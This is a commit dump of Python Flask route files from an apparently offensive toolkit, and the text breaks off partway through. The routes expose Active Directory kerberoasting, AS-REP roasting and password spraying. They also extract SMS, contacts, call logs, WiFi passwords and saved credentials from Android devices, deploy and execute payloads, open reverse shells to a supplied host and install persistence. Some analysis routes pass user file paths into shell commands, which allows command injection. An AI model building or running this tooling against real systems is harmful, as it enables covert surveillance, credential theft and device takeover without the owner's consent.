Autarch Will Control The Internet

This commit is contained in:
DigiJ
2026-03-13 15:17:15 -07:00
commit 4d3570781e
401 changed files with 484494 additions and 0 deletions

0
web/routes/__init__.py Normal file
View File

190
web/routes/ad_audit.py Normal file
View File

@@ -0,0 +1,190 @@
"""Active Directory Audit routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
ad_audit_bp = Blueprint('ad_audit', __name__, url_prefix='/ad-audit')
def _get_ad():
from modules.ad_audit import get_ad_audit
return get_ad_audit()
@ad_audit_bp.route('/')
@login_required
def index():
return render_template('ad_audit.html')
@ad_audit_bp.route('/connect', methods=['POST'])
@login_required
def connect():
data = request.get_json(silent=True) or {}
host = data.get('host', '').strip()
domain = data.get('domain', '').strip()
username = data.get('username', '').strip() or None
password = data.get('password', '') or None
use_ssl = bool(data.get('ssl', False))
if not host or not domain:
return jsonify({'success': False, 'message': 'DC host and domain are required'}), 400
return jsonify(_get_ad().connect(host, domain, username, password, use_ssl))
@ad_audit_bp.route('/disconnect', methods=['POST'])
@login_required
def disconnect():
return jsonify(_get_ad().disconnect())
@ad_audit_bp.route('/status')
@login_required
def status():
return jsonify(_get_ad().get_connection_info())
@ad_audit_bp.route('/users')
@login_required
def users():
search_filter = request.args.get('filter')
return jsonify(_get_ad().enumerate_users(search_filter))
@ad_audit_bp.route('/groups')
@login_required
def groups():
search_filter = request.args.get('filter')
return jsonify(_get_ad().enumerate_groups(search_filter))
@ad_audit_bp.route('/computers')
@login_required
def computers():
return jsonify(_get_ad().enumerate_computers())
@ad_audit_bp.route('/ous')
@login_required
def ous():
return jsonify(_get_ad().enumerate_ous())
@ad_audit_bp.route('/gpos')
@login_required
def gpos():
return jsonify(_get_ad().enumerate_gpos())
@ad_audit_bp.route('/trusts')
@login_required
def trusts():
return jsonify(_get_ad().enumerate_trusts())
@ad_audit_bp.route('/dcs')
@login_required
def dcs():
return jsonify(_get_ad().find_dcs())
@ad_audit_bp.route('/kerberoast', methods=['POST'])
@login_required
def kerberoast():
data = request.get_json(silent=True) or {}
ad = _get_ad()
host = data.get('host', '').strip() or ad.dc_host
domain = data.get('domain', '').strip() or ad.domain
username = data.get('username', '').strip() or ad.username
password = data.get('password', '') or ad.password
if not all([host, domain, username, password]):
return jsonify({'error': 'Host, domain, username, and password are required'}), 400
return jsonify(ad.kerberoast(host, domain, username, password))
@ad_audit_bp.route('/asrep', methods=['POST'])
@login_required
def asrep():
data = request.get_json(silent=True) or {}
ad = _get_ad()
host = data.get('host', '').strip() or ad.dc_host
domain = data.get('domain', '').strip() or ad.domain
userlist = data.get('userlist')
if isinstance(userlist, str):
userlist = [u.strip() for u in userlist.split(',') if u.strip()]
if not host or not domain:
return jsonify({'error': 'Host and domain are required'}), 400
return jsonify(ad.asrep_roast(host, domain, userlist or None))
@ad_audit_bp.route('/spray', methods=['POST'])
@login_required
def spray():
data = request.get_json(silent=True) or {}
ad = _get_ad()
userlist = data.get('userlist', [])
if isinstance(userlist, str):
userlist = [u.strip() for u in userlist.split('\n') if u.strip()]
password = data.get('password', '')
host = data.get('host', '').strip() or ad.dc_host
domain = data.get('domain', '').strip() or ad.domain
protocol = data.get('protocol', 'ldap')
if not userlist or not password or not host or not domain:
return jsonify({'error': 'User list, password, host, and domain are required'}), 400
return jsonify(ad.password_spray(userlist, password, host, domain, protocol))
@ad_audit_bp.route('/acls')
@login_required
def acls():
target_dn = request.args.get('target_dn')
return jsonify(_get_ad().analyze_acls(target_dn))
@ad_audit_bp.route('/admins')
@login_required
def admins():
return jsonify(_get_ad().find_admin_accounts())
@ad_audit_bp.route('/spn-accounts')
@login_required
def spn_accounts():
return jsonify(_get_ad().find_spn_accounts())
@ad_audit_bp.route('/asrep-accounts')
@login_required
def asrep_accounts():
return jsonify(_get_ad().find_asrep_accounts())
@ad_audit_bp.route('/unconstrained')
@login_required
def unconstrained():
return jsonify(_get_ad().find_unconstrained_delegation())
@ad_audit_bp.route('/constrained')
@login_required
def constrained():
return jsonify(_get_ad().find_constrained_delegation())
@ad_audit_bp.route('/bloodhound', methods=['POST'])
@login_required
def bloodhound():
data = request.get_json(silent=True) or {}
ad = _get_ad()
host = data.get('host', '').strip() or ad.dc_host
domain = data.get('domain', '').strip() or ad.domain
username = data.get('username', '').strip() or ad.username
password = data.get('password', '') or ad.password
if not all([host, domain, username, password]):
return jsonify({'error': 'Host, domain, username, and password are required'}), 400
return jsonify(ad.bloodhound_collect(host, domain, username, password))
@ad_audit_bp.route('/export')
@login_required
def export():
fmt = request.args.get('format', 'json')
return jsonify(_get_ad().export_results(fmt))

563
web/routes/analyze.py Normal file
View File

@@ -0,0 +1,563 @@
"""Analyze category route - file analysis, strings, hashes, log analysis, hex dump, compare."""
import os
import re
import zlib
import hashlib
import subprocess
from pathlib import Path
from datetime import datetime
from collections import Counter
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
analyze_bp = Blueprint('analyze', __name__, url_prefix='/analyze')
def _run_cmd(cmd, timeout=60):
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return result.returncode == 0, result.stdout.strip()
except Exception:
return False, ""
def _validate_path(filepath):
"""Validate and resolve a file path. Returns (Path, error_string)."""
if not filepath:
return None, 'No file path provided'
p = Path(filepath).expanduser()
if not p.exists():
return None, f'File not found: {filepath}'
if not p.is_file():
return None, f'Not a file: {filepath}'
return p, None
# ── Hash algorithm identification patterns ────────────────────────────
HASH_PATTERNS = [
# Simple hex hashes by length
{'name': 'CRC16', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{4}$', 'desc': '16-bit CRC'},
{'name': 'CRC32', 'hashcat': 11500, 'regex': r'^[a-fA-F0-9]{8}$', 'desc': '32-bit CRC checksum'},
{'name': 'Adler32', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{8}$', 'desc': 'Adler-32 checksum'},
{'name': 'MySQL323', 'hashcat': 200, 'regex': r'^[a-fA-F0-9]{16}$', 'desc': 'MySQL v3.23 (OLD_PASSWORD)'},
{'name': 'MD2', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD2 (128-bit, obsolete)'},
{'name': 'MD4', 'hashcat': 900, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD4 (128-bit, broken)'},
{'name': 'MD5', 'hashcat': 0, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD5 (128-bit)'},
{'name': 'NTLM', 'hashcat': 1000, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'NTLM (Windows, 128-bit)'},
{'name': 'LM', 'hashcat': 3000, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'LAN Manager hash'},
{'name': 'RIPEMD-160', 'hashcat': 6000, 'regex': r'^[a-fA-F0-9]{40}$', 'desc': 'RIPEMD-160 (160-bit)'},
{'name': 'SHA-1', 'hashcat': 100, 'regex': r'^[a-fA-F0-9]{40}$', 'desc': 'SHA-1 (160-bit, deprecated)'},
{'name': 'Tiger-192', 'hashcat': 10000, 'regex': r'^[a-fA-F0-9]{48}$', 'desc': 'Tiger (192-bit)'},
{'name': 'SHA-224', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{56}$', 'desc': 'SHA-224 (224-bit)'},
{'name': 'SHA-256', 'hashcat': 1400, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'SHA-256 (256-bit)'},
{'name': 'BLAKE2s-256', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'BLAKE2s (256-bit)'},
{'name': 'Keccak-256', 'hashcat': 17800, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'Keccak-256'},
{'name': 'SHA3-256', 'hashcat': 17400, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'SHA3-256'},
{'name': 'SHA-384', 'hashcat': 10800, 'regex': r'^[a-fA-F0-9]{96}$', 'desc': 'SHA-384 (384-bit)'},
{'name': 'SHA3-384', 'hashcat': 17500, 'regex': r'^[a-fA-F0-9]{96}$', 'desc': 'SHA3-384'},
{'name': 'SHA-512', 'hashcat': 1700, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'SHA-512 (512-bit)'},
{'name': 'SHA3-512', 'hashcat': 17600, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'SHA3-512'},
{'name': 'BLAKE2b-512', 'hashcat': 600, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'BLAKE2b (512-bit)'},
{'name': 'Keccak-512', 'hashcat': 18000, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'Keccak-512'},
{'name': 'Whirlpool', 'hashcat': 6100, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'Whirlpool (512-bit)'},
# Structured / prefixed formats
{'name': 'MySQL41', 'hashcat': 300, 'regex': r'^\*[a-fA-F0-9]{40}$', 'desc': 'MySQL v4.1+ (SHA1)'},
{'name': 'bcrypt', 'hashcat': 3200, 'regex': r'^\$2[aby]?\$\d{2}\$.{53}$', 'desc': 'bcrypt (Blowfish)'},
{'name': 'MD5 Unix (crypt)', 'hashcat': 500, 'regex': r'^\$1\$.{0,8}\$[a-zA-Z0-9/.]{22}$', 'desc': 'MD5 Unix crypt ($1$)'},
{'name': 'SHA-256 Unix (crypt)', 'hashcat': 7400, 'regex': r'^\$5\$(rounds=\d+\$)?[a-zA-Z0-9/.]{0,16}\$[a-zA-Z0-9/.]{43}$', 'desc': 'SHA-256 Unix crypt ($5$)'},
{'name': 'SHA-512 Unix (crypt)', 'hashcat': 1800, 'regex': r'^\$6\$(rounds=\d+\$)?[a-zA-Z0-9/.]{0,16}\$[a-zA-Z0-9/.]{86}$', 'desc': 'SHA-512 Unix crypt ($6$)'},
{'name': 'scrypt', 'hashcat': None, 'regex': r'^\$scrypt\$', 'desc': 'scrypt KDF'},
{'name': 'Argon2', 'hashcat': None, 'regex': r'^\$argon2(i|d|id)\$', 'desc': 'Argon2 (i/d/id)'},
{'name': 'PBKDF2-SHA256', 'hashcat': 10900, 'regex': r'^\$pbkdf2-sha256\$', 'desc': 'PBKDF2-HMAC-SHA256'},
{'name': 'PBKDF2-SHA1', 'hashcat': None, 'regex': r'^\$pbkdf2\$', 'desc': 'PBKDF2-HMAC-SHA1'},
{'name': 'Cisco Type 5', 'hashcat': 500, 'regex': r'^\$1\$[a-zA-Z0-9/.]{0,8}\$[a-zA-Z0-9/.]{22}$', 'desc': 'Cisco IOS Type 5 (MD5)'},
{'name': 'Cisco Type 8', 'hashcat': 9200, 'regex': r'^\$8\$[a-zA-Z0-9/.]{14}\$[a-zA-Z0-9/.]{43}$', 'desc': 'Cisco Type 8 (PBKDF2-SHA256)'},
{'name': 'Cisco Type 9', 'hashcat': 9300, 'regex': r'^\$9\$[a-zA-Z0-9/.]{14}\$[a-zA-Z0-9/.]{43}$', 'desc': 'Cisco Type 9 (scrypt)'},
{'name': 'Django PBKDF2-SHA256', 'hashcat': 10000, 'regex': r'^pbkdf2_sha256\$\d+\$', 'desc': 'Django PBKDF2-SHA256'},
{'name': 'WordPress (phpass)', 'hashcat': 400, 'regex': r'^\$P\$[a-zA-Z0-9/.]{31}$', 'desc': 'WordPress / phpBB3 (phpass)'},
{'name': 'Drupal7', 'hashcat': 7900, 'regex': r'^\$S\$[a-zA-Z0-9/.]{52}$', 'desc': 'Drupal 7 (SHA-512 iterated)'},
# HMAC / salted
{'name': 'HMAC-MD5', 'hashcat': 50, 'regex': r'^[a-fA-F0-9]{32}:[a-fA-F0-9]+$', 'desc': 'HMAC-MD5 (hash:salt)'},
{'name': 'HMAC-SHA1', 'hashcat': 150, 'regex': r'^[a-fA-F0-9]{40}:[a-fA-F0-9]+$', 'desc': 'HMAC-SHA1 (hash:salt)'},
{'name': 'HMAC-SHA256', 'hashcat': 1450, 'regex': r'^[a-fA-F0-9]{64}:[a-fA-F0-9]+$', 'desc': 'HMAC-SHA256 (hash:salt)'},
]
def _identify_hash(hash_str):
"""Return list of possible hash algorithm matches for the given string."""
matches = []
for entry in HASH_PATTERNS:
if re.match(entry['regex'], hash_str):
matches.append({
'name': entry['name'],
'hashcat': entry.get('hashcat'),
'description': entry['desc'],
})
return matches
@analyze_bp.route('/')
@login_required
def index():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
modules = {k: v for k, v in menu.modules.items() if v.category == 'analyze'}
return render_template('analyze.html', modules=modules)
@analyze_bp.route('/file', methods=['POST'])
@login_required
def analyze_file():
"""Analyze a file - metadata, type, hashes."""
data = request.get_json(silent=True) or {}
filepath = data.get('filepath', '').strip()
p, err = _validate_path(filepath)
if err:
return jsonify({'error': err})
stat = p.stat()
# File type detection
mime_type = ''
file_type = ''
try:
import magic
file_magic = magic.Magic(mime=True)
mime_type = file_magic.from_file(str(p))
file_magic2 = magic.Magic()
file_type = file_magic2.from_file(str(p))
except Exception:
success, output = _run_cmd(f"file '{p}'")
if success:
file_type = output.split(':', 1)[-1].strip()
# Hashes
hashes = {}
try:
with open(p, 'rb') as f:
content = f.read()
hashes['md5'] = hashlib.md5(content).hexdigest()
hashes['sha1'] = hashlib.sha1(content).hexdigest()
hashes['sha256'] = hashlib.sha256(content).hexdigest()
except Exception:
pass
return jsonify({
'path': str(p.absolute()),
'size': stat.st_size,
'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(),
'mime': mime_type,
'type': file_type,
'hashes': hashes,
})
@analyze_bp.route('/strings', methods=['POST'])
@login_required
def extract_strings():
"""Extract strings from a file."""
data = request.get_json(silent=True) or {}
filepath = data.get('filepath', '').strip()
min_len = data.get('min_len', 4)
p, err = _validate_path(filepath)
if err:
return jsonify({'error': err})
min_len = max(2, min(20, int(min_len)))
success, output = _run_cmd(f"strings -n {min_len} '{p}' 2>/dev/null")
if not success:
return jsonify({'error': 'Failed to extract strings'})
lines = output.split('\n')
urls = [l for l in lines if re.search(r'https?://', l)][:20]
ips = [l for l in lines if re.search(r'\b\d+\.\d+\.\d+\.\d+\b', l)][:20]
emails = [l for l in lines if re.search(r'[\w.-]+@[\w.-]+', l)][:20]
paths = [l for l in lines if re.search(r'^/[a-z]', l, re.I)][:20]
return jsonify({
'total': len(lines),
'urls': urls,
'ips': ips,
'emails': emails,
'paths': paths,
})
@analyze_bp.route('/hash', methods=['POST'])
@login_required
def hash_lookup():
"""Hash lookup - return lookup URLs."""
data = request.get_json(silent=True) or {}
hash_input = data.get('hash', '').strip()
if not hash_input:
return jsonify({'error': 'No hash provided'})
hash_len = len(hash_input)
if hash_len == 32:
hash_type = 'MD5'
elif hash_len == 40:
hash_type = 'SHA1'
elif hash_len == 64:
hash_type = 'SHA256'
else:
return jsonify({'error': 'Invalid hash length (expected MD5/SHA1/SHA256)'})
return jsonify({
'hash_type': hash_type,
'links': [
{'name': 'VirusTotal', 'url': f'https://www.virustotal.com/gui/file/{hash_input}'},
{'name': 'Hybrid Analysis', 'url': f'https://www.hybrid-analysis.com/search?query={hash_input}'},
]
})
@analyze_bp.route('/log', methods=['POST'])
@login_required
def analyze_log():
"""Analyze a log file."""
data = request.get_json(silent=True) or {}
filepath = data.get('filepath', '').strip()
p, err = _validate_path(filepath)
if err:
return jsonify({'error': err})
try:
with open(p, 'r', errors='ignore') as f:
lines = f.readlines()
except Exception as e:
return jsonify({'error': f'Error reading file: {e}'})
# Extract IPs
all_ips = []
for line in lines:
found = re.findall(r'\b(\d+\.\d+\.\d+\.\d+)\b', line)
all_ips.extend(found)
ip_counts = Counter(all_ips).most_common(10)
# Error count
errors = [l for l in lines if re.search(r'error|fail|denied|invalid', l, re.I)]
# Time range
timestamps = []
for line in lines:
match = re.search(r'(\w{3}\s+\d+\s+\d+:\d+:\d+)', line)
if match:
timestamps.append(match.group(1))
time_range = None
if timestamps:
time_range = {'first': timestamps[0], 'last': timestamps[-1]}
return jsonify({
'total_lines': len(lines),
'ip_counts': ip_counts,
'error_count': len(errors),
'time_range': time_range,
})
@analyze_bp.route('/hex', methods=['POST'])
@login_required
def hex_dump():
"""Hex dump of a file."""
data = request.get_json(silent=True) or {}
filepath = data.get('filepath', '').strip()
offset = data.get('offset', 0)
length = data.get('length', 256)
p, err = _validate_path(filepath)
if err:
return jsonify({'error': err})
offset = max(0, int(offset))
length = max(1, min(4096, int(length)))
try:
with open(p, 'rb') as f:
f.seek(offset)
raw = f.read(length)
except Exception as e:
return jsonify({'error': f'Error reading file: {e}'})
lines = []
for i in range(0, len(raw), 16):
chunk = raw[i:i + 16]
hex_part = ' '.join(f'{b:02x}' for b in chunk)
ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
lines.append(f'{offset + i:08x} {hex_part:<48} {ascii_part}')
return jsonify({'hex': '\n'.join(lines)})
@analyze_bp.route('/compare', methods=['POST'])
@login_required
def compare_files():
"""Compare two files."""
data = request.get_json(silent=True) or {}
file1 = data.get('file1', '').strip()
file2 = data.get('file2', '').strip()
p1, err1 = _validate_path(file1)
if err1:
return jsonify({'error': f'File 1: {err1}'})
p2, err2 = _validate_path(file2)
if err2:
return jsonify({'error': f'File 2: {err2}'})
s1, s2 = p1.stat().st_size, p2.stat().st_size
# Hashes
def get_hashes(path):
with open(path, 'rb') as f:
content = f.read()
return {
'md5': hashlib.md5(content).hexdigest(),
'sha256': hashlib.sha256(content).hexdigest(),
}
h1 = get_hashes(p1)
h2 = get_hashes(p2)
# Diff
diff_text = ''
if h1['sha256'] != h2['sha256']:
success, output = _run_cmd(f"diff '{p1}' '{p2}' 2>/dev/null | head -30")
if success:
diff_text = output
return jsonify({
'file1_size': s1,
'file2_size': s2,
'size_diff': abs(s1 - s2),
'md5_match': h1['md5'] == h2['md5'],
'sha256_match': h1['sha256'] == h2['sha256'],
'diff': diff_text,
})
# ── Hash Toolkit routes ──────────────────────────────────────────────
@analyze_bp.route('/hash-detection')
@login_required
def hash_detection():
"""Hash Toolkit page."""
return render_template('hash_detection.html')
@analyze_bp.route('/hash-detection/identify', methods=['POST'])
@login_required
def hash_identify():
"""Identify possible hash algorithms for a given string."""
data = request.get_json(silent=True) or {}
hash_input = data.get('hash', '').strip()
if not hash_input:
return jsonify({'error': 'No hash string provided'})
matches = _identify_hash(hash_input)
if not matches:
return jsonify({
'hash': hash_input, 'length': len(hash_input),
'matches': [], 'message': 'No matching hash algorithms found',
})
return jsonify({'hash': hash_input, 'length': len(hash_input), 'matches': matches})
@analyze_bp.route('/hash-detection/file', methods=['POST'])
@login_required
def hash_file():
"""Compute multiple hash digests for a file."""
data = request.get_json(silent=True) or {}
filepath = data.get('filepath', '').strip()
p, err = _validate_path(filepath)
if err:
return jsonify({'error': err})
try:
with open(p, 'rb') as f:
content = f.read()
return jsonify({
'path': str(p.absolute()),
'size': len(content),
'hashes': {
'crc32': format(zlib.crc32(content) & 0xffffffff, '08x'),
'md5': hashlib.md5(content).hexdigest(),
'sha1': hashlib.sha1(content).hexdigest(),
'sha256': hashlib.sha256(content).hexdigest(),
'sha512': hashlib.sha512(content).hexdigest(),
},
})
except Exception as e:
return jsonify({'error': f'Error reading file: {e}'})
@analyze_bp.route('/hash-detection/text', methods=['POST'])
@login_required
def hash_text():
"""Hash arbitrary text with a selectable algorithm."""
data = request.get_json(silent=True) or {}
text = data.get('text', '')
algorithm = data.get('algorithm', 'sha256').lower().strip()
if not text:
return jsonify({'error': 'No text provided'})
text_bytes = text.encode('utf-8')
algo_map = {
'md5': lambda b: hashlib.md5(b).hexdigest(),
'sha1': lambda b: hashlib.sha1(b).hexdigest(),
'sha224': lambda b: hashlib.sha224(b).hexdigest(),
'sha256': lambda b: hashlib.sha256(b).hexdigest(),
'sha384': lambda b: hashlib.sha384(b).hexdigest(),
'sha512': lambda b: hashlib.sha512(b).hexdigest(),
'sha3-256': lambda b: hashlib.sha3_256(b).hexdigest(),
'sha3-512': lambda b: hashlib.sha3_512(b).hexdigest(),
'blake2b': lambda b: hashlib.blake2b(b).hexdigest(),
'blake2s': lambda b: hashlib.blake2s(b).hexdigest(),
'crc32': lambda b: format(zlib.crc32(b) & 0xffffffff, '08x'),
}
if algorithm == 'all':
results = {}
for name, fn in algo_map.items():
try:
results[name] = fn(text_bytes)
except Exception:
results[name] = '(not available)'
return jsonify({'text_length': len(text), 'algorithm': 'all', 'hashes': results})
fn = algo_map.get(algorithm)
if not fn:
return jsonify({'error': f'Unknown algorithm: {algorithm}. Available: {", ".join(sorted(algo_map.keys()))}'})
return jsonify({'text_length': len(text), 'algorithm': algorithm, 'hash': fn(text_bytes)})
@analyze_bp.route('/hash-detection/mutate', methods=['POST'])
@login_required
def hash_mutate():
"""Change a file's hash by appending bytes to a copy."""
data = request.get_json(silent=True) or {}
filepath = data.get('filepath', '').strip()
method = data.get('method', 'random').strip()
num_bytes = data.get('num_bytes', 4)
p, err = _validate_path(filepath)
if err:
return jsonify({'error': err})
num_bytes = max(1, min(1024, int(num_bytes)))
try:
with open(p, 'rb') as f:
original = f.read()
# Compute original hashes
orig_hashes = {
'md5': hashlib.md5(original).hexdigest(),
'sha256': hashlib.sha256(original).hexdigest(),
}
# Generate mutation bytes
if method == 'null':
extra = b'\x00' * num_bytes
elif method == 'space':
extra = b'\x20' * num_bytes
elif method == 'newline':
extra = b'\n' * num_bytes
else: # random
extra = os.urandom(num_bytes)
mutated = original + extra
# Write mutated copy next to original
stem = p.stem
suffix = p.suffix
out_path = p.parent / f'{stem}_mutated{suffix}'
with open(out_path, 'wb') as f:
f.write(mutated)
new_hashes = {
'md5': hashlib.md5(mutated).hexdigest(),
'sha256': hashlib.sha256(mutated).hexdigest(),
}
return jsonify({
'original_path': str(p.absolute()),
'mutated_path': str(out_path.absolute()),
'original_size': len(original),
'mutated_size': len(mutated),
'bytes_appended': num_bytes,
'method': method,
'original_hashes': orig_hashes,
'new_hashes': new_hashes,
})
except Exception as e:
return jsonify({'error': f'Mutation failed: {e}'})
@analyze_bp.route('/hash-detection/generate', methods=['POST'])
@login_required
def hash_generate():
"""Create dummy test files with known content and return their hashes."""
data = request.get_json(silent=True) or {}
output_dir = data.get('output_dir', '/tmp').strip()
filename = data.get('filename', 'hashtest').strip()
content_type = data.get('content_type', 'random').strip()
size = data.get('size', 1024)
custom_text = data.get('custom_text', '')
out_dir = Path(output_dir).expanduser()
if not out_dir.exists():
return jsonify({'error': f'Directory not found: {output_dir}'})
if not out_dir.is_dir():
return jsonify({'error': f'Not a directory: {output_dir}'})
size = max(1, min(10 * 1024 * 1024, int(size))) # cap at 10MB
# Generate content
if content_type == 'zeros':
content = b'\x00' * size
elif content_type == 'ones':
content = b'\xff' * size
elif content_type == 'pattern':
pattern = b'ABCDEFGHIJKLMNOP'
content = (pattern * (size // len(pattern) + 1))[:size]
elif content_type == 'text' and custom_text:
raw = custom_text.encode('utf-8')
content = (raw * (size // len(raw) + 1))[:size] if raw else os.urandom(size)
else: # random
content = os.urandom(size)
# Sanitize filename
safe_name = re.sub(r'[^\w.\-]', '_', filename)
out_path = out_dir / safe_name
try:
with open(out_path, 'wb') as f:
f.write(content)
hashes = {
'crc32': format(zlib.crc32(content) & 0xffffffff, '08x'),
'md5': hashlib.md5(content).hexdigest(),
'sha1': hashlib.sha1(content).hexdigest(),
'sha256': hashlib.sha256(content).hexdigest(),
'sha512': hashlib.sha512(content).hexdigest(),
}
return jsonify({
'path': str(out_path.absolute()),
'size': len(content),
'content_type': content_type,
'hashes': hashes,
})
except Exception as e:
return jsonify({'error': f'File creation failed: {e}'})

View File

@@ -0,0 +1,984 @@
"""Android Exploitation routes - App extraction, recon, payloads, boot, root."""
import os
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
android_exploit_bp = Blueprint('android_exploit', __name__, url_prefix='/android-exploit')
def _get_mgr():
from core.android_exploit import get_exploit_manager
return get_exploit_manager()
def _get_serial():
data = request.get_json(silent=True) or {}
serial = data.get('serial', '').strip()
if not serial:
# Auto-detect if only one device connected
devices = _get_mgr().hw.adb_devices()
online = [d for d in devices if d.get('state') == 'device']
if len(online) == 1:
return online[0]['serial'], None
return None, jsonify({'error': 'No device serial provided (and multiple/no devices found)'})
return serial, None
@android_exploit_bp.route('/')
@login_required
def index():
from core.hardware import get_hardware_manager
hw = get_hardware_manager()
status = hw.get_status()
return render_template('android_exploit.html', status=status)
# ── App Extraction ────────────────────────────────────────────────
@android_exploit_bp.route('/apps/list', methods=['POST'])
@login_required
def apps_list():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
include_system = data.get('include_system', False)
return jsonify(_get_mgr().list_packages(serial, include_system=include_system))
@android_exploit_bp.route('/apps/pull-apk', methods=['POST'])
@login_required
def apps_pull_apk():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
if not package:
return jsonify({'error': 'No package provided'})
return jsonify(_get_mgr().pull_apk(serial, package))
@android_exploit_bp.route('/apps/pull-data', methods=['POST'])
@login_required
def apps_pull_data():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
if not package:
return jsonify({'error': 'No package provided'})
return jsonify(_get_mgr().pull_app_data(serial, package))
@android_exploit_bp.route('/apps/shared-prefs', methods=['POST'])
@login_required
def apps_shared_prefs():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
package = data.get('package', '').strip()
if not package:
return jsonify({'error': 'No package provided'})
return jsonify(_get_mgr().extract_shared_prefs(serial, package))
# ── Device Recon ──────────────────────────────────────────────────
@android_exploit_bp.route('/recon/device-dump', methods=['POST'])
@login_required
def recon_device_dump():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().full_device_dump(serial))
@android_exploit_bp.route('/recon/accounts', methods=['POST'])
@login_required
def recon_accounts():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().get_accounts(serial))
@android_exploit_bp.route('/recon/wifi', methods=['POST'])
@login_required
def recon_wifi():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().get_wifi_passwords(serial))
@android_exploit_bp.route('/recon/calls', methods=['POST'])
@login_required
def recon_calls():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
limit = int(data.get('limit', 200))
return jsonify(_get_mgr().extract_call_logs(serial, limit=limit))
@android_exploit_bp.route('/recon/sms', methods=['POST'])
@login_required
def recon_sms():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
limit = int(data.get('limit', 200))
return jsonify(_get_mgr().extract_sms(serial, limit=limit))
@android_exploit_bp.route('/recon/contacts', methods=['POST'])
@login_required
def recon_contacts():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().extract_contacts(serial))
@android_exploit_bp.route('/recon/browser', methods=['POST'])
@login_required
def recon_browser():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().extract_browser_history(serial))
@android_exploit_bp.route('/recon/credentials', methods=['POST'])
@login_required
def recon_credentials():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().extract_saved_credentials(serial))
@android_exploit_bp.route('/recon/export', methods=['POST'])
@login_required
def recon_export():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().export_recon_report(serial))
# ── Payload Deployment ────────────────────────────────────────────
@android_exploit_bp.route('/payload/deploy', methods=['POST'])
@login_required
def payload_deploy():
serial = request.form.get('serial', '').strip()
if not serial:
return jsonify({'error': 'No serial provided'})
remote_path = request.form.get('remote_path', '/data/local/tmp/').strip()
f = request.files.get('file')
if not f:
return jsonify({'error': 'No file uploaded'})
from core.paths import get_uploads_dir
upload_path = str(get_uploads_dir() / f.filename)
f.save(upload_path)
return jsonify(_get_mgr().deploy_binary(serial, upload_path, remote_path))
@android_exploit_bp.route('/payload/execute', methods=['POST'])
@login_required
def payload_execute():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
remote_path = data.get('remote_path', '').strip()
args = data.get('args', '')
background = data.get('background', True)
if not remote_path:
return jsonify({'error': 'No remote_path provided'})
return jsonify(_get_mgr().execute_payload(serial, remote_path, args=args, background=background))
@android_exploit_bp.route('/payload/reverse-shell', methods=['POST'])
@login_required
def payload_reverse_shell():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
lhost = data.get('lhost', '').strip()
lport = data.get('lport', '')
method = data.get('method', 'nc').strip()
if not lhost or not lport:
return jsonify({'error': 'Missing lhost or lport'})
return jsonify(_get_mgr().setup_reverse_shell(serial, lhost, int(lport), method))
@android_exploit_bp.route('/payload/persistence', methods=['POST'])
@login_required
def payload_persistence():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
method = data.get('method', 'init.d').strip()
return jsonify(_get_mgr().install_persistence(serial, method))
@android_exploit_bp.route('/payload/list', methods=['POST'])
@login_required
def payload_list():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().list_running_payloads(serial))
@android_exploit_bp.route('/payload/kill', methods=['POST'])
@login_required
def payload_kill():
serial, err = _get_serial()
if err:
return err
data = request.get_json(silent=True) or {}
pid = data.get('pid', '').strip()
if not pid:
return jsonify({'error': 'No PID provided'})
return jsonify(_get_mgr().kill_payload(serial, pid))
# ── Boot / Recovery ───────────────────────────────────────────────
@android_exploit_bp.route('/boot/info', methods=['POST'])
@login_required
def boot_info():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().get_bootloader_info(serial))
@android_exploit_bp.route('/boot/backup', methods=['POST'])
@login_required
def boot_backup():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().backup_boot_image(serial))
@android_exploit_bp.route('/boot/unlock', methods=['POST'])
@login_required
def boot_unlock():
serial, err = _get_serial()
if err:
return err
return jsonify(_get_mgr().unlock_bootloader(serial))
@android_exploit_bp.route('/boot/flash-recovery', methods=['POST'])
@login_required
def boot_flash_recovery():
